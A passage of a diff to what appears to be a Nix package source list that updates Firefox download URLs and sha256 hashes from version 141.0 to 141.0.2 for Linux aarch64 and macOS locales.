-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ja/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ja/firefox-141.0.2.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "103fbef467c480ca579b1bac124adaedd214f9ae63d20ae36ad406c03c371c71";
+      sha256 = "ab6ef9a0300813379bed1982f52f2c8acd8da7087b88b9179598bb096b63bb84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ka/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ka/firefox-141.0.2.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "21f219c9989f64a6462ba3edc0cbc392e02acf4b31c85b87f82a281f81c10ec2";
+      sha256 = "aa10a9cd01ed5f1c38cb6b1a8c2ab55eefcb0b1b1ca33df81fdf5b3f4a6ff738";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/kab/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/kab/firefox-141.0.2.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "48da5c3531a1b875e350dd7c332379287da22c8dd4f2e012bf5b63ebe11d8018";
+      sha256 = "5c379b6b954ac2351aadeed26f06751742a5fcb266d0d3c02171c513e04b37bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/kk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/kk/firefox-141.0.2.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "451c87eecdad201bc4112ea92c984fd5f8b6bbd84f10786daf1338b5e3411a2f";
+      sha256 = "344ada72a6c6ae539d7738d764bf89c07234d408749467df55eb9cc4b850bd0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/km/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/km/firefox-141.0.2.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "52dc55cce033fbb0d06acb16b93d52f0499b48c71b108a5423ac323d049efc9d";
+      sha256 = "b55ba6c19661592eef2690cc92c661c6720fff55c53ec847ab8ac59620fec1ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/kn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/kn/firefox-141.0.2.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "cd9201fd5ed1031c87ff99be8d42d4a7dad035d4e3f2a3fff8359f6559862a8a";
+      sha256 = "0b64205f996b7f3b102fe38512eb89e2d2c533e7a8d36b48c567d811c9666190";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ko/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ko/firefox-141.0.2.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "97881c312b41c968aae7f24906769c5bf46a6b0df4eb9754c5309859ec0b32a7";
+      sha256 = "a57221215ab89396e0b62ad1d17026b1b4661498ad67d6313b79a041f1b1bad7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/lij/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/lij/firefox-141.0.2.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "dc18c5c1ec14dbf84992ec863e43bb22a8ced37f7f031b18eb9cda6070bca0cf";
+      sha256 = "ffbeb7976fe374603f99f34eac2d17346da11e3dd17fd62306e27d43e54acffb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/lt/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/lt/firefox-141.0.2.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "f556299a884b1f6ced7fe8291315a02c5e3fcd7d6c95ec8c5cbd42cd096d5474";
+      sha256 = "0d83e820e40889b6d26910a06a5fe5bd9b49fe00a1e1bdeaacf27317db1b798c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/lv/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/lv/firefox-141.0.2.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "9c9db9540dfd41a1c09388ea066d6bdc8f2ceb249d3cc2d67d2eda66081c1796";
+      sha256 = "a64bb50fad6a4cd26328732c75889424508c2a20d7c8b680080bb0f25a1a4d44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/mk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/mk/firefox-141.0.2.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "65e7ed03bfc18b8068bd11465525818c0110a0ccbb19f6bd913792e3567545e6";
+      sha256 = "29f28aed47464365705778d0cfd7484ae0bf6db4056a09c914036f9b93c0aafa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/mr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/mr/firefox-141.0.2.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "4870e64c8033aa47221e8dcde220b48d34226565ec4a89d1b6e8fb19483683d7";
+      sha256 = "4d9a763af4fed2bbab3db9f7f62d36d4244668c60cc4a1b4e1e3ff9b36cbf4b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ms/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ms/firefox-141.0.2.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "5a36a76a877670ac2e31b8806cd74ab4b1260fbc80f6cb4d1a6dfc0d4787c2a0";
+      sha256 = "608c5fd15a9232969d5b27c992f0ceadabe3372a628b0dc9e5f780f7e1ab47ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/my/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/my/firefox-141.0.2.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "9b48dfc72214f7ae92c6baf11e8653e235d1d044afbc1deb61229df0bc929373";
+      sha256 = "84e5a5fb4d7499895f942375870205b9d2c14307f4bc4c44dd99897dc46982f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/nb-NO/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/nb-NO/firefox-141.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "4a94fb1645a4426aba91b9f3243a7653e9c4b0b8aea0db0aa107c405d3454a2c";
+      sha256 = "a9979aad9b9503040ff15ea84345be448486539561fabb91557b1eaca049476b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ne-NP/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ne-NP/firefox-141.0.2.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "66a62cf30847590c173f73908d8262c140a3d4a92ce8de7b56c45f3c750b4c33";
+      sha256 = "be12e9dd6693a875856fc505f2ed3bf78b5aa2710ccadb8f540a8a9b77cb4642";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/nl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/nl/firefox-141.0.2.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "625b876f0d002b497daca34fe5740157c06fb6552f61a58ec713e4cae0bb9b18";
+      sha256 = "d82b7730bbd0f99b21f448933514dc6008ae91a894f00a01086bba167bf44748";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/nn-NO/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/nn-NO/firefox-141.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "7142f9c8dce02936b1f8460ba42ced04363aeed066a3081e1502792892bb0028";
+      sha256 = "b6809bdd254e6fad3ca013c95073eb86a4cb5ac5fa2c052fd9aeb66dffce2100";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/oc/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/oc/firefox-141.0.2.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "50eb0eba55545937e9fd83a9b4f40995fc9311d597cc633c70735d3210f4b11b";
+      sha256 = "a74ef7765df4457e464b7f91c3e160cf7d9492d06b400795f3f683c9f744869b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pa-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pa-IN/firefox-141.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "8bbae42ed6f75c950c1cc7cc72f28b2470ce4eb99171d02656f5bbf64a32bc78";
+      sha256 = "8fb41812990a366402b8c8d00618a18ea0ba01c60379a7f669cb1cef6ee7ff1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pl/firefox-141.0.2.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "144a945fa99cf9c358d7df739d1c16747b7356eb7d40d5c794917d9b7d27a7fb";
+      sha256 = "452de9a3b2a5a7aaeba69ec022554586df4ad33d96a83342f33534a9f7fc65bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pt-BR/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pt-BR/firefox-141.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "4c75238108672c509254fdfbc0d5d8dd0e939d787f7cd7f7e67e69ca76d40749";
+      sha256 = "69f54263c14e2e5204456aaa8f2c82edc634d39293840f76faae681910594ea2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pt-PT/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pt-PT/firefox-141.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "ee93c94af5433167f9eaed15514d6862ec57dab3704a42f03f5784493d047a61";
+      sha256 = "9555cee9dd4c230d3eb302452f9b7c1663e52e2e6ee5190967a3ea2520ef23ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/rm/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/rm/firefox-141.0.2.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "b378e624740b18eefede481bacaf8c3e7340a4c6b30d3cc0465f032a22b9d8eb";
+      sha256 = "f92808a025f1ef388859c25e853d517ff83a4e52211822b1f6cd6e6ea92ead7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ro/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ro/firefox-141.0.2.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "7b1d6ccac6e6cfeade8d9b94295716c5cdeeb8811ec21521a9992089ce6fd699";
+      sha256 = "9bc7ada1afa959624871396e346ebe72e6595f6d60c46f44b827564fcd86dad4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ru/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ru/firefox-141.0.2.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "6eb563dd5372bf11580d84e07294ffcb6ef6da08679d92e4e9a4655763fc11c9";
+      sha256 = "302f4926cc58e7e305582992e6a967667aa5f2fa4b84fad839f9ce365ef709af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sat/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sat/firefox-141.0.2.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "1e7f38f728f878f7e8064e604ebb33a587cacf83bc046b1cd6dff468cbdf4d77";
+      sha256 = "c1b3e28a027f74fc8b2c446b0e1eadc9ced542c65fc4692811da1503cbacbf97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sc/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sc/firefox-141.0.2.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "fc06636b3b17dcbdd89f06bbb94abaad20ba9ecdb52d7b48c55c11ef6d780130";
+      sha256 = "972a1be26e1948a9f71c061c0602f02ba79850b6b087cd8f77376c58ab95ecdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sco/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sco/firefox-141.0.2.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "6c49150cf7b2e95079e305916287435ad5d0520a8a26d807a215d4e7fc6dedc4";
+      sha256 = "eeee96969862edf0d5bc5b33b7156450dfe45881bf26a8f858c08f5a3c17eeec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/si/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/si/firefox-141.0.2.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "1ca1300faf467654e63ed4902595ce2bbe8176cb009bb00f7aac892a99b5bf37";
+      sha256 = "ac9f4293c67b4e8b95400f11436e83f82624b8c947932128f0e6012598af4adb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sk/firefox-141.0.2.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "96ba7baf72739a60db646c95bab3c32e57a286865bc5ec7dbf9e11222fcc14f2";
+      sha256 = "f87ccd409d5cd9ee1d61fd65f268f2ef68ebe9e59e232274d2a53a1b6e2c8cb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/skr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/skr/firefox-141.0.2.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "d8e8ab156723fff8daad21695249173b80f3353c8f4e451bf42e0ae578ae4066";
+      sha256 = "2fb9aba64ddccd22c17e849649d70a59d9f31b8d7f254fd440c7385a0f363a61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sl/firefox-141.0.2.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "1901216a8f6ad147335e3994a75d2cd655528d225f002b9d0066c21ea257e831";
+      sha256 = "0321c64e7ca31b33b6146dc0a58bf12f0b40a41021f6474fc0d604e2951298e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/son/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/son/firefox-141.0.2.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "5a0e224cdf6b3fd0d030229faa7f138f14b458529ea79db37fe05edcd80e09ef";
+      sha256 = "d29eaf3513f2ebc263e353b837fd44d4accfe20024a2cd4cd1c21168fa1ca988";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sq/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sq/firefox-141.0.2.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "964e62bfb2534cfbb6a78154d83849609a621f638be8d0e101ee1fc3689e8573";
+      sha256 = "c36c8e914a2324aa8578418ceb8c69025bb76c9c0355060ea8578c9e7fd411cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sr/firefox-141.0.2.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "e61e83203bc23f8ffb3a81789f44d32124a0fce9b56017c0b4e73b0fc138d0a1";
+      sha256 = "23c2b1c2f440e3af38a84b808c7b198bd810dc2d48163a6423ecb0860effd404";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sv-SE/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sv-SE/firefox-141.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "991893a78693d32fc610be86fdbfa6be893137ee8c5836a3b751101894cdd2b1";
+      sha256 = "71b5631beb92a9d55c11654007db04cc1def5150e89fb2ea710820dbfeb7182e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/szl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/szl/firefox-141.0.2.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "ab3c71fb49cf41b221c1ae4b7817c9223542a0ff9b9606079206fd8df1d3dd5e";
+      sha256 = "5301b139132ef88dfa24cf168b77a7adca3e59088c2b5946ef3b299224e77c48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ta/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ta/firefox-141.0.2.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "28b984a1efd9eb98fdf6ac01c547b928106adffb00b93ab838d899e51bbfb404";
+      sha256 = "918452a90ba0d483f145d21c09dd34963e344e60d8a8d69db07b730085954de8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/te/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/te/firefox-141.0.2.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "e86a3d29a9f52c6b54213c579968fbd28d11699764dea3338f174130826fde90";
+      sha256 = "7a0e251ba0562c75385f3eef6b31e9180c1a1fd6002107417c0aae9392bb69a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/tg/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/tg/firefox-141.0.2.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "496973dd1255f3fb6d89c342213cfd77f199c55b94e449d4d556e781493f738a";
+      sha256 = "ef73d73db4f0023f56bce287e7c2e23ab56d2a1d71796ef866d75cc77479e1ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/th/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/th/firefox-141.0.2.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "71df4ca388050037082e29492cc3ea89d4127ee0e60a89a546bb87c28cfc3f9c";
+      sha256 = "ce115f3e965b257021c6468920c4840fe6148072b9e287a6dca1abd9f1e096da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/tl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/tl/firefox-141.0.2.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "9ff6874dc43318281956e7a279995eee55a7bc41c0e40e116d8ae86054a5afdc";
+      sha256 = "abdad44ee36040ec99c50773a62023551a8394c49e5b1e23f6cf88bb80b7cc87";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/tr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/tr/firefox-141.0.2.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "1253a25c4fe5cbb7d161145067b9db60b860863594a8c46da1a4b1781c671585";
+      sha256 = "a620961b2eda6c145a9de63206dfae92ee875cf78b93d132f8bcc325e139d9b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/trs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/trs/firefox-141.0.2.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "e2264b05111fbecf3777c9f26a8b7220f250abaaed83cae13961e03bd8962c33";
+      sha256 = "58f1081fbfe4fe1982c9e496b9dc2b8d1a4ce42bf7f0ea8ee7ad240db104b32a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/uk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/uk/firefox-141.0.2.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "da17f7b2c861a07804fd98fee462cf6da603426797467380372e2c68b5b945c1";
+      sha256 = "3eaead580a988e3b882f912ec5e953bde8de5196a57bf2330942b13d531c3118";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ur/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ur/firefox-141.0.2.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "35c5e1c02075e28c7f76f5ac771b0b35758e8b5b0a5a2435600b9f8be24c0473";
+      sha256 = "f870e37fc54e9073167eb1642a3c86e47cc4637266dfa4692eaea9b06e7bbc85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/uz/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/uz/firefox-141.0.2.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "d1647907db42347f77367caf013106ff62f1c1a51eb1cde86f334572ad92d5a5";
+      sha256 = "b27f0eec9137279d52bdbc716be651f8ef6f9443f42a0584b49cdafeb48d19c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/vi/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/vi/firefox-141.0.2.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "ef548241d63908c4bdc04650e312584216a7ce15e258b68ba064d26b70a48ecf";
+      sha256 = "5855c745eb57227111a5f3ff8159d2c871b3e3ab63a27ba6c0e2b9ef5f3c342f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/xh/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/xh/firefox-141.0.2.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "ed24a24c8d50fcbbdd1025f6559b6c253fc72c973d423dd7f3441c30578926d5";
+      sha256 = "3509f4fa500d8ffbc6736d507820faf9699e010d3f8d8eb19b9a8e26cb33d86e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/zh-CN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/zh-CN/firefox-141.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "01d874c868d51e1d19880be5074dbb32f30668fca9b014bde2b87212d1c32fe0";
+      sha256 = "20291eb1c1446548283c8600c9cef4eacfa95b507fec1d85aceebd549006e3b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/zh-TW/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/zh-TW/firefox-141.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "c2a4e9b0c02456c1b0ce79802702ddc630a3799d5750f6e4a3617ce9201ef9ae";
+      sha256 = "d7be8d9601b13d9fcd4b1bf35d366d8f58a88a43456118edfd906d1a881d38e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ach/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ach/Firefox%20141.0.2.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "2d646318cdc65f464af12315e8a17ef6744fc04fbc0b12946463b5b596b4952e";
+      sha256 = "c8ceed34ddb421300e4deecb994878438e55c5d9fc62c71e909b4312daa22fda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/af/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/af/Firefox%20141.0.2.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "1b89d705971d4bdbd06e44e3308387ebce02fd4fc74efba832ecf58ab0d7ab13";
+      sha256 = "2945dfbd71df063dea41f2b3be3e37879ea11392d9185a872c969d6e3b8deb1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/an/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/an/Firefox%20141.0.2.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "77239b8df0f3e31ab792c88da83f1a6e3aacc969771f5eee5b0e1da8af0ebcb6";
+      sha256 = "90dd4e06702881c552532d56b284f06fc3dc2faec9c8c31806479f3ae3ee7595";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ar/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ar/Firefox%20141.0.2.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "ac4bed4577c16d1ba718c943775972d9be75bebf3557ce3ff022cba66615b5a2";
+      sha256 = "57763755f2bcac5494f17bb7dc1c5a2a98d08ad52b826e97f71eeb8e1782da29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ast/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ast/Firefox%20141.0.2.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "e9b25785ca4720be251b000e6cbabaf73261d67154a0d4065eb8be4c18863a6e";
+      sha256 = "aa7964ffe61b9fd5af56498cf3718c267355a06cf24a51a5f5e010c1a9bf9db5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/az/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/az/Firefox%20141.0.2.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "5c95b3420193760f03c6fcba0b0ada000a7e1fc35d717e29f60aabd077c32892";
+      sha256 = "86e096b090042802ad149834c64626e76318132d86a9c7fb2b8d3c7f5e9ac7d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/be/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/be/Firefox%20141.0.2.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "268a5916c3141599f085cceb17138af762cd96da1dcbee02b50613ef2d074557";
+      sha256 = "3b04faff126954a6175b4cb3f4448f7cce00c0ce446cc317ee965ccef0c0525b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/bg/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/bg/Firefox%20141.0.2.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "1cbb5a788f90002fa6953a2584015b1655b9989e6c638dcbc723265f08854a83";
